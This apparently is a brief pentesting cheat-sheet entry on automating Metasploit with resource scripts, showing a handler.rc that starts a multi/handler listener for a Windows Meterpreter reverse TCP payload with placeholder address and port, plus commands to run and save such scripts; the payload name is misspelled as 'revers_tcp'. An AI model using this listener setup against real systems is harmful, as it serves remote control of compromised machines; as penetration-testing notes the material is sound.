Automating
ls -al /usr/share/metasploit-framework/scripts/resource
# handler.rc
use multi/handler
set PAYLOAD windows/meterpreter/revers_tcp
set LHOST [IP]
set LPORT [PORT]
run
msfconsole -r handler.rc
or
resource [PATH TO RESOURCE SCRIPT]
makerc [SAVING PATH TO RESOURCE SCRIPT]Last updated